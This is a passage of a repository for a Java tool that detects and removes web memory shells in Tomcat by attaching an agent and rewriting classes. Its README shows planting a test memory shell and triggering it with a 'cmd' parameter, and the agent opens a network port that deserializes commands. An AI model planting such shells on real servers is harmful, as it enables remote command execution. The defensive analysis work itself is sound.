├── .gitignore
├── LICENSE
├── README.md
├── agent
├── pom.xml
└── src
│ └── main
│ └── java
│ └── com
│ └── n1ar4
│ └── agent
│ ├── Agent.java
│ ├── Main.java
│ ├── asm
│ ├── FilterKillClassVisitor.java
│ ├── ListenerKillClassVisitor.java
│ ├── ServletKillClassVisitor.java
│ └── ValveKillClassVisitor.java
│ ├── core
│ └── Task.java
│ ├── test
│ └── TestValve.java
│ ├── transform
│ ├── CoreTransformer.java
│ ├── FilterKill.java
│ ├── ListenerKill.java
│ ├── ServletKill.java
│ └── ValveKill.java
│ └── util
│ └── FilterObjectInputStream.java
├── gui
├── lib
│ ├── README.md
│ └── syntax-panel.jar
├── pom.xml
└── src
│ └── main
│ └── java
│ └── com
│ └── n1ar4
│ ├── Application.java
│ ├── cmd
│ ├── SocketTest.java
│ └── Test.java
│ ├── form
│ ├── ShellForm.form
│ └── ShellForm.java
│ ├── model
│ ├── ClassObj.java
│ └── ProcessObj.java
│ └── start
│ └── SocketHelper.java
├── img
├── 0000.jpg
├── 0002.jpg
├── 0003.jpg
├── 0004.jpg
├── 0005.png
├── 0006.png
└── 0007.png
├── memshell
├── README.md
├── filter.jsp
├── listener.jsp
├── servlet.jsp
└── valve.jsp
├── pom.xml
└── remote
├── README.md
├── pom.xml
└── src
└── main
└── java
└── com
└── n1ar4
└── RemoteLoader.java
/.gitignore:
--------------------------------------------------------------------------------
1 | .idea/
2 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2023 4ra1n
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | ## shell-analyzer
2 | 
3 | 
4 | 
5 | 
6 |
7 | **注意:请勿在生产环境使用,存在打崩业务的风险,目前适用于自己搭建靶机分析学习**
8 |
9 | ### 介绍
10 |
11 | 关于`Java Web`内存马查杀的文章和工具已经有不少,不过大都不够完善,各有缺点;
12 | 于是我做了一款`GUI`版本的实时内存马查杀工具,支持本地查杀与远程查杀;
13 | 仅测试了`Tomcat`这一种中间件,不过理论上任何实现了`Servlet`规范的中间件都可以查杀
14 |
15 | 优势:
16 | - 实时监控目标`JVM`
17 | - 一键反编译分析代码
18 | - 一键查杀内存马
19 |
20 | 
21 |
22 | 本地查杀演示视频:https://www.bilibili.com/video/BV1ZM411e7Rr
23 |
24 | 远程查杀演示视频:https://www.bilibili.com/video/BV1L24y1q7so
25 |
26 | 本工具的一些介绍:
27 | - [内存马检测工具shell-analyzer(1)最初版展示与设计思路](https://mp.weixin.qq.com/s/vb0WlgylO7jnbpfh8YnNXQ)
28 | - [内存马检测工具shell-analyzer(2)远程查杀实现](https://mp.weixin.qq.com/s/vJAZRtP5DW-CHjGKLX3GrQ)
29 |
30 | ### 原理
31 |
32 | 将`Agent`动态`Attach`到目标后会开启一个端口(10032)监听:
33 | - 该端口会反序列化收到的数据,然后处理,我已经给反序列化设置了白名单进行保护
34 | - 启动`Agent`时会设置密码,如果客户端连接密码不匹配将无法获得数据
35 | - 为什么选择 10032 端口,因为这个数字代表一个
36 |
37 | 
38 |
39 | 该端口用于实时接受指令并处理后返回数据,图中是部分指令(不完全)
40 |
41 | 
42 |
43 | 支持一键查杀的内存马类型
44 |
45 | | 类型 | 类名 | 方法名 |
46 | |:---------|:-------------------------------------|:-------------------|
47 | | Filter | javax.servlet.Filter | doFilter |
48 | | Filter | javax.servlet.http.HttpFilter | doFilter |
49 | | Servlet | javax.servlet.Servlet | service |
50 | | Servlet | javax.servlet.http.HttpServlet | doGet |
51 | | Servlet | javax.servlet.http.HttpServlet | doPost |
52 | | Servlet | javax.servlet.http.HttpServlet | doHead |
53 | | Servlet | javax.servlet.http.HttpServlet | doPut |
54 | | Servlet | javax.servlet.http.HttpServlet | doDelete |
55 | | Servlet | javax.servlet.http.HttpServlet | doTrace |
56 | | Servlet | javax.servlet.http.HttpServlet | doOptions |
57 | | Listener | javax.servlet.ServletRequestListener | requestDestroyed |
58 | | Listener | javax.servlet.ServletRequestListener | requestInitialized |
59 | | Valve | org.apache.catalina.Valve | invoke |
60 |
61 | ### 本地使用
62 |
63 | 提供了三个`jar`文件:
64 | - `agent.jar`是核心文件,请保持与`gui.jar`或`remote.jar`同目录
65 | - `gui.jar`是GUI客户端,本地和远程分析都需要
66 | - `remote.jar`用于远程分析,本地分析无需下载
67 |
68 | 注意使用`JDK\bin\java.exe`启动并添加`tools.jar`到`classpath`中
69 |
70 | Windows CMD 示例:
71 |
72 | ```shell
73 | "C:\Program Files\Java\jdk1.8.0_131\bin\java.exe" -cp "C:\Program Files\Java\jdk1.8.0_131\lib\tools.jar;gui-0.1.jar" com.n1ar4.Application
74 | ```
75 |
76 | Windows Powershell 示例:
77 |
78 | ```shell
79 | & "C:\Program Files\Java\jdk1.8.0_131\bin\java.exe" -cp "C:\Program Files\Java\jdk1.8.0_131\lib\tools.jar;gui-0.1.jar" com.n1ar4.Application
80 | ```
81 |
82 | Linux (Ubuntu) 示例:
83 |
84 | ```shell
85 | jdk1.8.0_202/bin/java -cp jdk1.8.0_202/lib/tools.jar:gui-0.1.jar com.n1ar4.Application
86 | ```
87 |
88 | Mac OS 示例:
89 |
90 | ```shell
91 | /Library/Java/JavaVirtualMachines/jdk1.8.0_202.jdk/Contents/Home/bin/java -cp /Library/Java/JavaVirtualMachines/jdk1.8.0_202.jdk/Contents/Home/lib/tools.jar:gui-0.1.jar com.n1ar4.Application
92 | ```
93 |
94 | (1) 第一步:检测进程并`Attach`
95 |
96 | 
97 |
98 | 为了防止目标被恶意利用,需要输入一个密码
99 |
100 | **注意:尽管使用了密码保护,但还是存在拒绝服务等风险,请勿在生产环境使用,目前适用于自己搭建靶机分析学习**
101 |
102 | (2) 第二步:勾选并分析
103 |
104 | 点击**刷新**即可获得实时的数据
105 |
106 | (3) 双击任意一个类即可`Dump`并反编译
107 |
108 | (4) 复制类名过去即可修复内存马
109 |
110 | 
111 |
112 | ### 远程连接
113 |
114 | **注意:请不要在真实环境/生产环境下使用,存在打崩业务的可能,目前适用于自己搭建靶机分析学习**
115 |
116 | 仅测试了`JDK`版本为8的情况
117 |
118 | 客户端`java -jar gui.jar`即可
119 |
120 | (因为不对本地分析,仅用于发送和接收socket数据,所以可以不将`tools.jar`加入`classpath`)
121 |
122 | 服务端确保`Tomcat`端口和 10032 端口开放
123 |
124 | 
125 |
126 | 可以手动将`Oracle JDK 8`传过去(没有测试过`OpenJDK`等版本)
127 |
128 | 可以前往 [Oracle JDK 8](https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html) 下载
129 |
130 | ```shell
131 | scp /your-path/jdk-8u202-linux-x64.tar.gz root@ip:/
132 | ssh root@ip
133 | cd /
134 | tar -zxvf jdk-8u202-linux-x64.tar.gz
135 | ```
136 |
137 | 下载并启动目标的`Tomcat`(测试使用)
138 |
139 | ```shell
140 | cd /
141 | wget https://dlcdn.apache.org/tomcat/tomcat-9/v9.0.71/bin/apache-tomcat-9.0.71.tar.gz --no-check-certificate
142 | tar -zxvf apache-tomcat-9.0.71.tar.gz
143 | export JAVA_HOME=/jdk1.8.0_202
144 | ./apache-tomcat-9.0.71/bin/startup.sh
145 | ```
146 |
147 | 上传`agent.jar`和`remote.jar`
148 |
149 | ```shell
150 | scp /your-path/agent.jar root@ip:/agent.jar
151 | scp /your-path/remote.jar root@ip:/remote.jar
152 | ```
153 |
154 | 可以传过去一个内存马测试
155 |
156 | ```shell
157 | scp /your-path/filter.jsp root@ip:/apache-tomcat-9.0.71/webapps/ROOT/1.jsp
158 | ```
159 |
160 | 访问`http://ip:port/1.jsp`注入并测试`http://ip:port?cmd=xxx`
161 |
162 | 先使用`jps`拿到`PID`然后注入`Agent`
163 |
164 | ```shell
165 | /jdk1.8.0_202/bin/jps
166 | /jdk1.8.0_202/bin/java -cp /remote.jar:/jdk1.8.0_202/lib/tools.jar com.n1ar4.RemoteLoader [PID] [8位密码]
167 | ```
168 |
169 | 输出以下内容说明成功
170 |
171 | ```shell
172 | attach pid: [PID]
173 | password: [8位密码]
174 | success
175 | ```
176 |
177 | 打开本工具,输入`IP`和上文的`8位密码`后,进行分析和查杀即可
178 |
179 | 
180 |
--------------------------------------------------------------------------------
/agent/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 | 4.0.0
6 | com.n1ar4
7 | agent
8 | 0.1
9 | jar
10 |
11 |
12 | 8
13 | 8
14 | 8
15 | UTF-8
16 |
17 |
18 |
19 |
20 | javax.servlet
21 | javax.servlet-api
22 | 4.0.1
23 | compile
24 |
25 |
26 | org.ow2.asm
27 | asm
28 | 9.2
29 |
30 |
31 | org.apache.tomcat
32 | tomcat-catalina
33 | 9.0.45
34 | compile
35 |
36 |
37 |
38 |
39 | agent
40 |
41 |
42 | org.apache.maven.plugins
43 | maven-compiler-plugin
44 | 3.8.1
45 |
46 | ${java.version}
47 | ${java.version}
48 |
49 |
50 |
51 | org.apache.maven.plugins
52 | maven-assembly-plugin
53 |
54 | ../
55 |
56 |
57 | com.n1ar4.agent.Main
58 |
59 |
60 | com.n1ar4.agent.Agent
61 | true
62 | true
63 |
64 |
65 |
66 | jar-with-dependencies
67 |
68 |
69 |
70 |
71 | make-assembly
72 | package
73 |
74 | single
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
--------------------------------------------------------------------------------
/agent/src/main/java/com/n1ar4/agent/Agent.java:
--------------------------------------------------------------------------------
1 | package com.n1ar4.agent;
2 |
3 | import com.n1ar4.agent.core.Task;
4 |
5 | import java.lang.instrument.Instrumentation;
6 | import java.net.ServerSocket;
7 | import java.net.Socket;
8 |
9 | public class Agent {
10 | public static String PASSWORD;
11 | public static Instrumentation staticIns;
12 | public static Class>[] staticClasses;
13 |
14 | @SuppressWarnings("all")
15 | public static void agentmain(String agentArgs, Instrumentation ins) {
16 | if (agentArgs == null || agentArgs.trim().equals("")) {
17 | return;
18 | }
19 | if (agentArgs.length() != 8) {
20 | return;
21 | }
22 | PASSWORD = agentArgs;
23 | staticIns = ins;
24 | staticClasses = (Class>[]) ins.getAllLoadedClasses();
25 | new Thread(() -> {
26 | try {
27 | int port = 10032;
28 | ServerSocket s = null;
29 | try {
30 | s = new ServerSocket(port);
31 | } catch (Exception e) {
32 | return;
33 | } finally {
34 | if (s != null) {
35 | s.close();
36 | }
37 | }
38 | ServerSocket ss = new ServerSocket(port);
39 | while (true) {
40 | Socket socket = ss.accept();
41 | new Thread(new Task(socket)).start();
42 | }
43 | } catch (Exception ex) {
44 | ex.printStackTrace();
45 | }
46 | }).start();
47 | }
48 | }
--------------------------------------------------------------------------------
/agent/src/main/java/com/n1ar4/agent/Main.java:
--------------------------------------------------------------------------------
1 | package com.n1ar4.agent;
2 |
3 | public class Main {
4 | public static void main(String[] args) {
5 | System.out.println("##################################");
6 | System.out.println("THIS IS AN AGENT");
7 | System.out.println("DO NOT USE THIS JAR");
8 | System.out.println("use: java -jar shell-analyzer.jar");
9 | System.out.println("##################################");
10 | }
11 | }
--------------------------------------------------------------------------------
/agent/src/main/java/com/n1ar4/agent/asm/FilterKillClassVisitor.java:
--------------------------------------------------------------------------------
1 | package com.n1ar4.agent.asm;
2 |
3 | import org.objectweb.asm.ClassVisitor;
4 | import org.objectweb.asm.MethodVisitor;
5 |
6 | import static org.objectweb.asm.Opcodes.*;
7 |
8 | public class FilterKillClassVisitor extends ClassVisitor {
9 | public FilterKillClassVisitor(int api, ClassVisitor classVisitor) {
10 | super(api, classVisitor);
11 | }
12 |
13 | @Override
14 | public MethodVisitor visitMethod(int access, String name, String descriptor,
15 | String signature, String[] exceptions) {
16 | MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
17 | // Filter 接口的处理
18 | if (mv != null && name.equals("doFilter") &&
19 | descriptor.equals("(Ljavax/servlet/ServletRequest;" +
20 | "Ljavax/servlet/ServletResponse;Ljavax/servlet/FilterChain;)V")) {
21 | mv.visitCode();
22 | mv.visitVarInsn(ALOAD, 3);
23 | mv.visitVarInsn(ALOAD, 1);
24 | mv.visitVarInsn(ALOAD, 2);
25 | mv.visitMethodInsn(INVOKEINTERFACE, "javax/servlet/FilterChain",
26 | "doFilter", "(Ljavax/servlet/ServletRequest;" +
27 | "Ljavax/servlet/ServletResponse;)V", true);
28 | mv.visitInsn(RETURN);
29 | mv.visitMaxs(3, 4);
30 | mv.visitEnd();
31 | return mv;
32 | }
33 | // HttpServlet 子类
34 | if (mv != null && name.equals("doFilter") &&
35 | descriptor.equals("(Ljavax/servlet/http/HttpServletRequest;" +
36 | "Ljavax/servlet/http/HttpServletResponse;Ljavax/servlet/FilterChain;)V")) {
37 | mv.visitCode();
38 | mv.visitVarInsn(ALOAD, 3);
39 | mv.visitVarInsn(ALOAD, 1);
40 | mv.visitVarInsn(ALOAD, 2);
41 | mv.visitMethodInsn(INVOKEINTERFACE, "javax/servlet/FilterChain", "doFilter",
42 | "(Ljavax/servlet/ServletRequest;Ljavax/servlet/ServletResponse;)V", true);
43 | mv.visitInsn(RETURN);
44 | mv.visitMaxs(3, 4);
45 | mv.visitEnd();
46 | return mv;
47 | }
48 | return mv;
49 | }
50 | }
51 |
--------------------------------------------------------------------------------
/agent/src/main/java/com/n1ar4/agent/asm/ListenerKillClassVisitor.java:
--------------------------------------------------------------------------------
1 | package com.n1ar4.agent.asm;
2 |
3 | import org.objectweb.asm.ClassVisitor;
4 | import org.objectweb.asm.MethodVisitor;
5 |
6 | import static org.objectweb.asm.Opcodes.*;
7 |
8 | public class ListenerKillClassVisitor extends ClassVisitor {
9 | public ListenerKillClassVisitor(int api, ClassVisitor classVisitor) {
10 | super(api, classVisitor);
11 | }
12 |
13 | @Override
14 | public MethodVisitor visitMethod(int access, String name, String descriptor,
15 | String signature, String[] exceptions) {
16 | MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
17 | if (mv != null && (name.equals("requestDestroyed") || name.equals("requestInitialized")) &&
18 | descriptor.equals("(Ljavax/servlet/ServletRequestEvent;)V")) {
19 | mv.visitCode();
20 | mv.visitInsn(RETURN);
21 | mv.visitMaxs(0, 2);
22 | mv.visitEnd();
23 | return mv;
24 | }
25 | return mv;
26 | }
27 | }
28 |
--------------------------------------------------------------------------------
/agent/src/main/java/com/n1ar4/agent/asm/ServletKillClassVisitor.java:
--------------------------------------------------------------------------------
1 | package com.n1ar4.agent.asm;
2 |
3 | import org.objectweb.asm.ClassVisitor;
4 | import org.objectweb.asm.MethodVisitor;
5 |
6 | import static org.objectweb.asm.Opcodes.*;
7 |
8 | public class ServletKillClassVisitor extends ClassVisitor {
9 | public ServletKillClassVisitor(int api, ClassVisitor classVisitor) {
10 | super(api, classVisitor);
11 | }
12 |
13 | @Override
14 | public MethodVisitor visitMethod(int access, String name, String descriptor,
15 | String signature, String[] exceptions) {
16 | MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
17 | // Servlet service
18 | if (mv != null && name.equals("service") &&
19 | descriptor.equals("(Ljavax/servlet/ServletRequest;Ljavax/servlet/ServletResponse;)V")) {
20 | mv.visitCode();
21 | mv.visitInsn(RETURN);
22 | mv.visitMaxs(0, 3);
23 | mv.visitEnd();
24 | return mv;
25 | }
26 | // HttpServlet doAny
27 | if (mv != null && (name.equals("doGet") || name.equals("doPost")
28 | || name.equals("doDelete") || name.equals("doHead") || name.equals("doOptions")
29 | || name.equals("doPut") || name.equals("doTrace")) &&
30 | descriptor.equals("(Ljavax/servlet/http/HttpServletRequest;" +
31 | "Ljavax/servlet/http/HttpServletResponse;)V")) {
32 | mv.visitCode();
33 | mv.visitInsn(RETURN);
34 | mv.visitMaxs(0, 3);
35 | mv.visitEnd();
36 | }
37 | return mv;
38 | }
39 | }
40 |
--------------------------------------------------------------------------------
/agent/src/main/java/com/n1ar4/agent/asm/ValveKillClassVisitor.java:
--------------------------------------------------------------------------------
1 | package com.n1ar4.agent.asm;
2 |
3 | import org.objectweb.asm.ClassVisitor;
4 | import org.objectweb.asm.MethodVisitor;
5 |
6 | import static org.objectweb.asm.Opcodes.*;
7 |
8 | public class ValveKillClassVisitor extends ClassVisitor {
9 | private String owner;
10 |
11 | public ValveKillClassVisitor(int api, ClassVisitor classVisitor) {
12 | super(api, classVisitor);
13 | }
14 |
15 | @Override
16 | public void visit(int version, int access, String name,
17 | String signature, String superName, String[] interfaces) {
18 | name = name.replace(".", "/");
19 | this.owner = name;
20 | super.visit(version, access, name, signature, superName, interfaces);
21 | }
22 |
23 | @Override
24 | public MethodVisitor visitMethod(int access, String name, String descriptor,
25 | String signature, String[] exceptions) {
26 | MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
27 | // Valve invoke
28 | if (mv != null && name.equals("invoke") &&
29 | descriptor.equals("(Lorg/apache/catalina/connector/Request;" +
30 | "Lorg/apache/catalina/connector/Response;)V")) {
31 | mv.visitCode();
32 | mv.visitVarInsn(ALOAD, 0);
33 | mv.visitMethodInsn(INVOKEVIRTUAL, owner,
34 | "getNext", "()Lorg/apache/catalina/Valve;", false);
35 | mv.visitVarInsn(ALOAD, 1);
36 | mv.visitVarInsn(ALOAD, 2);
37 | mv.visitMethodInsn(INVOKEINTERFACE, "org/apache/catalina/Valve",
38 | "invoke", "(Lorg/apache/catalina/connector/Request;" +
39 | "Lorg/apache/catalina/connector/Response;)V", true);
40 | mv.visitInsn(RETURN);
41 | mv.visitMaxs(3, 3);
42 | mv.visitEnd();
43 | return mv;
44 | }
45 | return mv;
46 | }
47 | }
48 |
--------------------------------------------------------------------------------
/agent/src/main/java/com/n1ar4/agent/core/Task.java:
--------------------------------------------------------------------------------
1 | package com.n1ar4.agent.core;
2 |
3 | import com.n1ar4.agent.transform.*;
4 | import com.n1ar4.agent.util.FilterObjectInputStream;
5 | import com.n1ar4.agent.Agent;
6 |
7 | import java.io.*;
8 | import java.net.Socket;
9 | import java.util.ArrayList;
10 | import java.util.List;
11 |
12 | public class Task implements Runnable {
13 | private final Socket socket;
14 |
15 | public Task(Socket socket) {
16 | this.socket = socket;
17 | }
18 |
19 | @Override
20 | public void run() {
21 | try {
22 | handleSocket();
23 | } catch (Exception ex) {
24 | ex.printStackTrace();
25 | }
26 | }
27 |
28 | private void handleSocket() throws Exception {
29 | ObjectInputStream ois;
30 | try {
31 | ois = new FilterObjectInputStream(socket.getInputStream());
32 | } catch (Exception ex) {
33 | return;
34 | }
35 | String targetClass = (String) ois.readObject();
36 |
37 | if (targetClass.startsWith("")) {
38 | String PASS = targetClass.split("")[1];
39 | if (!PASS.equals(Agent.PASSWORD)) {
40 | System.out.println("!!! ERROR PASSWORD");
41 | return;
42 | }
43 | List classNameList = new ArrayList<>();
44 | for (Class> c : Agent.staticClasses) {
45 | if (c.getName().startsWith("[")) {
46 | continue;
47 | }
48 | if (c.getName().contains("$$Lambda")) {
49 | continue;
50 | }
51 | classNameList.add(c.getName());
52 | }
53 | ByteArrayOutputStream bao = new ByteArrayOutputStream();
54 | ObjectOutputStream oos = new ObjectOutputStream(bao);
55 | oos.writeObject(classNameList);
56 | System.out.println("write data to socket: " + classNameList.size());
57 | socket.getOutputStream().write(bao.toByteArray());
58 | return;
59 | }
60 |
61 | if (targetClass.startsWith("")) {
62 | String PASS = targetClass.split("")[1];
63 | if (!PASS.equals(Agent.PASSWORD)) {
64 | System.out.println("!!! ERROR PASSWORD");
65 | return;
66 | }
67 | List classList = new ArrayList<>();
68 | for (Class> c : Agent.staticClasses) {
69 | try {
70 | ClassLoader classLoader;
71 | if (c.getClassLoader() != null) {
72 | classLoader = c.getClassLoader();
73 | } else {
74 | classLoader = Thread.currentThread().getContextClassLoader();
75 | }
76 |
77 | Class> clsFilter = null;
78 | try {
79 | clsFilter = classLoader.loadClass("javax.servlet.Filter");
80 | } catch (Exception ignored) {
81 | }
82 |
83 | if (clsFilter != null && clsFilter.isAssignableFrom(c)) {
84 | classList.add(c.getName());
85 | }
86 | } catch (Exception ignored) {
87 | }
88 | }
89 |
90 | ByteArrayOutputStream bao = new ByteArrayOutputStream();
91 | ObjectOutputStream oos = new ObjectOutputStream(bao);
92 | oos.writeObject(classList);
93 | System.out.println("write data to socket: " + classList.size());
94 | socket.getOutputStream().write(bao.toByteArray());
95 | return;
96 | }
97 |
98 | if (targetClass.startsWith("")) {
99 | String PASS = targetClass.split("")[1];
100 | if (!PASS.equals(Agent.PASSWORD)) {
101 | System.out.println("!!! ERROR PASSWORD");
102 | return;
103 | }
104 | List classList = new ArrayList<>();
105 | for (Class> c : Agent.staticClasses) {
106 | try {
107 | ClassLoader classLoader;
108 | if (c.getClassLoader() != null) {
109 | classLoader = c.getClassLoader();
110 | } else {
111 | classLoader = Thread.currentThread().getContextClassLoader();
112 | }
113 |
114 | Class> clsFilter = null;
115 | try {
116 | clsFilter = classLoader.loadClass("org.apache.catalina.Valve");
117 | } catch (Exception ignored) {
118 | }
119 |
120 | if (clsFilter != null && clsFilter.isAssignableFrom(c)) {
121 | classList.add(c.getName());
122 | }
123 | } catch (Exception ignored) {
124 | }
125 | }
126 |
127 | ByteArrayOutputStream bao = new ByteArrayOutputStream();
128 | ObjectOutputStream oos = new ObjectOutputStream(bao);
129 | oos.writeObject(classList);
130 | System.out.println("write data to socket: " + classList.size());
131 | socket.getOutputStream().write(bao.toByteArray());
132 | return;
133 | }
134 |
135 | if (targetClass.startsWith("")) {
136 | String PASS = targetClass.split("")[1];
137 | if (!PASS.equals(Agent.PASSWORD)) {
138 | System.out.println("!!! ERROR PASSWORD");
139 | return;
140 | }
141 | List classList = new ArrayList<>();
142 | for (Class> c : Agent.staticClasses) {
143 | try {
144 | ClassLoader classLoader;
145 | if (c.getClassLoader() != null) {
146 | classLoader = c.getClassLoader();
147 | } else {
148 | classLoader = Thread.currentThread().getContextClassLoader();
149 | }
150 |
151 | Class> clsFilter = null;
152 | try {
153 | clsFilter = classLoader.loadClass("javax.servlet.Servlet");
154 | } catch (Exception ignored) {
155 | }
156 |
157 | if (clsFilter != null && clsFilter.isAssignableFrom(c)) {
158 | classList.add(c.getName());
159 | }
160 | } catch (Exception ignored) {
161 | }
162 | }
163 |
164 | ByteArrayOutputStream bao = new ByteArrayOutputStream();
165 | ObjectOutputStream oos = new ObjectOutputStream(bao);
166 | oos.writeObject(classList);
167 | System.out.println("write data to socket: " + classList.size());
168 | socket.getOutputStream().write(bao.toByteArray());
169 | return;
170 | }
171 |
172 | if (targetClass.startsWith("")) {
173 | String PASS = targetClass.split("")[1];
174 | if (!PASS.equals(Agent.PASSWORD)) {
175 | System.out.println("!!! ERROR PASSWORD");
176 | return;
177 | }
178 | List classList = new ArrayList<>();
179 | for (Class> c : Agent.staticClasses) {
180 | try {
181 | ClassLoader classLoader;
182 | if (c.getClassLoader() != null) {
183 | classLoader = c.getClassLoader();
184 | } else {
185 | classLoader = Thread.currentThread().getContextClassLoader();
186 | }
187 |
188 | Class> clsFilter = null;
189 | try {
190 | clsFilter = classLoader.loadClass("javax.servlet.ServletRequestListener");
191 | } catch (Exception ignored) {
192 | }
193 |
194 | if (clsFilter != null && clsFilter.isAssignableFrom(c)) {
195 | classList.add(c.getName());
196 | }
197 | } catch (Exception ignored) {
198 | }
199 | }
200 |
201 | ByteArrayOutputStream bao = new ByteArrayOutputStream();
202 | ObjectOutputStream oos = new ObjectOutputStream(bao);
203 | oos.writeObject(classList);
204 | System.out.println("write data to socket: " + classList.size());
205 | socket.getOutputStream().write(bao.toByteArray());
206 | return;
207 | }
208 |
209 | if (targetClass.startsWith("")) {
210 | String f = targetClass.split("")[1];
211 | if (!f.split("\\|")[0].equals(Agent.PASSWORD)) {
212 | System.out.println("!!! ERROR PASSWORD");
213 | return;
214 | }
215 | f = f.split("\\|")[1];
216 | System.out.println("kill filter: " + f);
217 | FilterKill fk = new FilterKill(f);
218 | for (Class> c : Agent.staticClasses) {
219 | if (c.getName().equals(f)) {
220 | Agent.staticIns.addTransformer(fk, true);
221 | Agent.staticIns.retransformClasses(c);
222 | Agent.staticIns.removeTransformer(fk);
223 | }
224 | }
225 | }
226 |
227 | if (targetClass.startsWith("")) {
228 | String s = targetClass.split("")[1];
229 | if (!s.split("\\|")[0].equals(Agent.PASSWORD)) {
230 | System.out.println("!!! ERROR PASSWORD");
231 | return;
232 | }
233 | s = s.split("\\|")[1];
234 | System.out.println("kill servlet: " + s);
235 | ServletKill sk = new ServletKill(s);
236 | for (Class> c : Agent.staticClasses) {
237 | if (c.getName().equals(s)) {
238 | Agent.staticIns.addTransformer(sk, true);
239 | Agent.staticIns.retransformClasses(c);
240 | Agent.staticIns.removeTransformer(sk);
241 | }
242 | }
243 | }
244 |
245 | if (targetClass.startsWith("")) {
246 | String s = targetClass.split("")[1];
247 | if (!s.split("\\|")[0].equals(Agent.PASSWORD)) {
248 | System.out.println("!!! ERROR PASSWORD");
249 | return;
250 | }
251 | s = s.split("\\|")[1];
252 | System.out.println("kill listener: " + s);
253 | ListenerKill sk = new ListenerKill(s);
254 | for (Class> c : Agent.staticClasses) {
255 | if (c.getName().equals(s)) {
256 | Agent.staticIns.addTransformer(sk, true);
257 | Agent.staticIns.retransformClasses(c);
258 | Agent.staticIns.removeTransformer(sk);
259 | }
260 | }
261 | }
262 |
263 | if (targetClass.startsWith("")) {
264 | String s = targetClass.split("")[1];
265 | if (!s.split("\\|")[0].equals(Agent.PASSWORD)) {
266 | System.out.println("!!! ERROR PASSWORD");
267 | return;
268 | }
269 | s = s.split("\\|")[1];
270 | System.out.println("kill valve: " + s);
271 | ValveKill sk = new ValveKill(s);
272 | for (Class> c : Agent.staticClasses) {
273 | if (c.getName().equals(s)) {
274 | Agent.staticIns.addTransformer(sk, true);
275 | Agent.staticIns.retransformClasses(c);
276 | Agent.staticIns.removeTransformer(sk);
277 | }
278 | }
279 | }
280 |
281 | if (!targetClass.split("\\|")[0].equals(Agent.PASSWORD)) {
282 | return;
283 | }
284 | targetClass = targetClass.split("\\|")[1];
285 | for (Class> c : Agent.staticClasses) {
286 | if (c.getName().equals(targetClass)) {
287 | CoreTransformer coreTransformer = new CoreTransformer(targetClass);
288 | Agent.staticIns.addTransformer(coreTransformer, true);
289 | Agent.staticIns.retransformClasses(c);
290 |
291 | if (coreTransformer.data != null && coreTransformer.data.length != 0) {
292 | ByteArrayOutputStream bao = new ByteArrayOutputStream();
293 | ObjectOutputStream oos = new ObjectOutputStream(bao);
294 | oos.writeObject(coreTransformer.data);
295 | System.out.println("write data to socket: " + coreTransformer.data.length);
296 | socket.getOutputStream().write(bao.toByteArray());
297 | }
298 | Agent.staticIns.removeTransformer(coreTransformer);
299 | }
300 | }
301 | }
302 | }
303 |
--------------------------------------------------------------------------------
/agent/src/main/java/com/n1ar4/agent/test/TestValve.java:
--------------------------------------------------------------------------------
1 | package com.n1ar4.agent.test;
2 |
3 | import org.apache.catalina.connector.Request;
4 | import org.apache.catalina.connector.Response;
5 | import org.apache.catalina.valves.ValveBase;
6 |
7 | import javax.servlet.ServletException;
8 | import java.io.IOException;
9 |
10 | public class TestValve extends ValveBase {
11 |
12 | @Override
13 | public void invoke(Request request, Response response)
14 | throws IOException, ServletException {
15 | this.getNext().invoke(request, response);
16 | }
17 | }
18 |
--------------------------------------------------------------------------------
/agent/src/main/java/com/n1ar4/agent/transform/CoreTransformer.java:
--------------------------------------------------------------------------------
1 | package com.n1ar4.agent.transform;
2 |
3 |
4 | import java.lang.instrument.ClassFileTransformer;
5 | import java.security.ProtectionDomain;
6 |
7 |
8 | public class CoreTransformer implements ClassFileTransformer {
9 |
10 | private final String targetClass;
11 |
12 | public byte[] data;
13 |
14 | public CoreTransformer(String targetClass) {
15 | this.targetClass = targetClass;
16 | }
17 |
18 | @Override
19 | public byte[] transform(ClassLoader loader,
20 | String className,
21 | Class> classBeingRedefined,
22 | ProtectionDomain protectionDomain,
23 | byte[] classfileBuffer) {
24 | className = className.replace("/", ".");
25 | if (className.equals(targetClass)) {
26 | System.out.println("get bytecode form: " + className);
27 | data = new byte[classfileBuffer.length+1];
28 | System.arraycopy(classfileBuffer, 0, data, 0, classfileBuffer.length);
29 | System.out.println("bytecode length: "+data.length);
30 | }
31 | return classfileBuffer;
32 | }
33 | }
--------------------------------------------------------------------------------
/agent/src/main/java/com/n1ar4/agent/transform/FilterKill.java:
--------------------------------------------------------------------------------
1 | package com.n1ar4.agent.transform;
2 |
3 |
4 | import com.n1ar4.agent.asm.FilterKillClassVisitor;
5 | import org.objectweb.asm.ClassReader;
6 | import org.objectweb.asm.ClassVisitor;
7 | import org.objectweb.asm.ClassWriter;
8 | import org.objectweb.asm.Opcodes;
9 |
10 | import java.lang.instrument.ClassFileTransformer;
11 | import java.security.ProtectionDomain;
